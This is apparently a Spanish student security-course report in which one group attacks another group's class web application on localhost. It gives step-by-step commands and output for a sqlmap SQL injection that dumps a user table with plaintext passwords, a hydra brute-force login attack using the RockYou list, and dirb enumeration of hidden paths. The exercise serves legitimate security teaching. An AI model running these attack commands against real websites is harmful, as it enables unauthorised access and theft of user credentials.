

ALLIANZ LABUBU



Shaman Alonso Amezcua
Keneth Sebastian Campos
Marcos Cobo Gutiérrez
Gabriel Gutiérrez Portal
Aritz de la Pinta Morales
Alexander Díez Ortuzar

Índice

Índice.....	1
Introducción.....	2
1. Inyección SQL.....	3
Explicación.....	3
Pasos:.....	3
2. Ataque por fuerza bruta.....	6
Explicación.....	6
Pasos:.....	6
3. Bypass.....	7
Explicación.....	7
Pasos:.....	7
Bibliografía.....	8

Introducción

El objetivo de la fase actual del proyecto es atacar el Sistema Web desarrollado por otro grupo, explotando cualquier vulnerabilidad posible. Para ello, se utilizarán una serie de herramientas y técnicas exploradas durante el curso.

Uno de los principales enfoques de esta fase es detectar vulnerabilidades en el sistema web. A través de herramientas especializadas como ZAP, se realizarán pruebas que permitirán encontrar fallos potenciales que se podrán explotar.

Este proyecto nos permitirá aplicar en un ambiente práctico los conocimientos aprendidos en el campo de la seguridad. Así como darle una vuelta a la segunda y tercera entrega aprovechando el conocimiento adquirido para encontrar y aplicar *exploits*.

La víctima seleccionada para realizar el ataque es:

<https://github.com/AitanaNB/Desarrollo-Web-SGSSI>

1. Inyección SQL

Explicación

Para realizar el ataque de inyección SQL vamos a utilizar un script de python de github. Para ello, se va a explicar a continuación todos los pasos que se deben seguir para poder realizar el ataque inyección SQL en la web del grupo de “Sudo Three-Way Handshake”.

Para realizarlo, la web debe estar en ejecución, es decir, se debe clonar el repositorio, acceder al *branch* de la “entrega_1” y ejecutarla mediante docker-compose up.

Pasos:

1. Primero, se debe clonar el siguiente repositorio git:

<https://github.com/sqlmapproject/sqlmap>

- 1.1 Para ello en la terminal se ejecuta el siguiente comando teniendo en cuenta que ya está instalado git y docker-compose.

```
git clone git@github.com:sqlmapproject/sqlmap.git
```

2. En la terminal se colocará el siguiente comando para situarse en la carpeta del repositorio que se acaba de clonar.

```
cd sqlmap-dev
```

3. Luego, ejecutamos el script de python mediante el siguiente comando:

```
python3 sqlmap.py -u "http://localhost:81/index.php" --forms --search -T usuarios
```

4. El script se ejecutará, preguntándonos diferentes cosas:

- 4.1. Se han marcado en color amarillo las respuestas que se deben dar al script.

- **you have not declared cookie(s), while server wants to set its own ('PHPSESSID=cc6e2613dda...aef1ea56c5'). Do you want to use those [Y/n]**
 > **y**
- **[1/2] Form:**
 POST http://localhost:81/api/register.php
 POST data:
 nombre=&apellidos=&dni=&telefono=&fecha_nacimiento=&email=&username=
 &password=
 do you want to test this form? [Y/n/q]
 > **y**

- Edit POST data [default:
nombre=&apellidos=&dni=&telefono=&fecha_nacimiento=&email=&username=
&password=] (Warning: blank fields detected):

do you want to fill blank fields with random values? [Y/n]

> y

- there were multiple injection points, please select the one to use for following injections:

[0] place: POST, parameter: nombre, type: Single quoted string (default)

[1] place: POST, parameter: apellidos, type: Single quoted string

[2] place: POST, parameter: dni, type: Single quoted string

[3] place: POST, parameter: telefono, type: Unescaped numeric

[4] place: POST, parameter: username, type: Single quoted string

[q] Quit

> 4

- do you want to exploit this SQL injection? [Y/n]

> y

[1] as LIKE table names (default)

[2] as exact table names

> 1

- [11:55:47] [INFO] searching tables LIKE 'usuarios'

[11:55:47] [INFO] retrieved: 'database'

[11:55:47] [INFO] retrieved: 'usuarios'

Database: database

[1 table]

+-----+

| usuarios |

+-----+

do you want to dump found table(s) entries? [Y/n] y
which database(s)?

[a]ll (default)

[database]

[q]uit

> a

which table(s) of database 'database'?

[a]ll (default)

[usuarios]

[s]kip

[q]uit

> usuarios

```

Database: database
Table: usuarios
[4 entries]
-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| id | dni | email | dinero | nombre | es_admin | password | telefono | username | apellidos | fecha_nac |
-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | 00000000-T | admin@sistema.com | 50000.00 | Admin | 1 | admintest | 600000000 | admin | Sistema | 1990-01-0 |
| 2 | 12345678-Z | juan@example.com | 15000.00 | Juan | 0 | qwerty | 612345678 | juan | Perez Garcia | 1995-11-2 |
| 3 | 42069420-Z | emaildepruebasiesteemailnoesdeverdad@esteemailnoesdeverdad.com | 15000000.00 | Fernando Alonso | 0 | 1 | 666789021 | formula | El nano f1 | 1456-10-2 |
| 5 | 99999999-R | o@o.o | 0.00 | " or ""=" | 0 | " or ""=" | 123456789 | " or ""=" | " or ""=" | 2025-11-1 |
-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+

```

Obtenemos los datos de la tabla seleccionada como resultado y así podemos conseguir nombres, contraseñas y demás.

2. Ataque por fuerza bruta

Explicación

Para realizar el ataque de fuerza bruta vamos a instalar la aplicación hydra. Para ello, se va a explicar a continuación todos los pasos que se deben seguir para poder realizar el ataque por fuerza bruta en la web del grupo de “Sudo Three-Way Handshake”.

Pasos:

1. Para realizar el ataque emplearemos la librería hydra. Esta librería facilita los ataques de fuerza bruta.

```
sudo apt install hydra
```

2. Descargar diccionario RockYou

<https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt>

```
#Clonar repo RockYou
```

```
sudo wget
```

```
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt -P  
/usr/share/wordlists/
```

3. Ataque de fuerza bruta

Para realizar el ataque ejecutaremos los siguientes comandos.

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost http-post-form  
'/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Error al  
iniciar sesión, usuario no encontrado.'
```

4. Analizar resultado:

Haciendo uso de RockYou vemos que no tiene la contraseña buscada, por ello, otra opción sería hacer uso de un diccionario personal.

Cabe destacar que para comprobar la ausencia de la contraseña se ha hecho uso del comando grep.

Si el ataque es exitoso, se debería tener acceso a la web, con un usuario y su contraseña.

3. Bypass

Explicación

Permite eludir medidas de seguridad, en este caso es empleado para acceder a ventanas de la web sin identificarse, es decir, se está accediendo a áreas restringidas por seguridad.

Para ello, ha de hacerse uso de Dirb, una librería popular que busca ventanas dentro de una web, así como: /login, /register, /admin, etc.

Por tanto, se hace uso de un diccionario con palabras clave, en este caso se emplea el diccionario más popular conocido como *common*.

Pasos:

1. Descargar Dirb

```
#Descargar dirb
sudo apt install dirb
```

2. Descargar diccionario common.txt

```
#Descargar diccionario common
wget https://raw.githubusercontent.com/v0re/dirb/master/wordlists/common.txt
```

```
#Desplaza a la carpeta wordlists
sudo mv SecLists /usr/share/wordlists/
```

```
dirb http://localhost:81/ /usr/share/wordlists/common.txt
```

3. Analizar el resultado:

Muestra algunos resultados, entre otros: /js, /css o /api. Sin embargo, no se puede acceder a verlos (Imagen 1).

Forbidden

You don't have permission to access /js/ on this server.

Apache/2.4.25 (Debian) Server at localhost Port 81

Imagen 1 - Error mostrado

Por ende, el ataque no ha sido exitoso. Sin embargo, de haberlo sido, con introducir en la URL la ruta descubierta (por ejemplo, /admin) se habría podido acceder directamente a secciones restringidas de la web sin necesidad de autenticación, obteniendo así información sensible o control administrativo sobre el sitio.

Bibliografía

- Sqlmapproject. (s. f.). *GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool*. GitHub. <https://github.com/sqlmapproject/sqlmap>
- El Pingüino de Mario. (2023, 11 noviembre). 🗝️ *TODO lo que Tienes que Saber sobre los ATAQUES de FUERZA BRUTA - En MENOS de 15 MINUTOS* 💪 [Vídeo]. YouTube. <https://www.youtube.com/watch?v=6jM00NIRI9c>
- *dirb* | *Kali Linux Tools*. (s. f.). Kali Linux. <https://www.kali.org/tools/dirb/>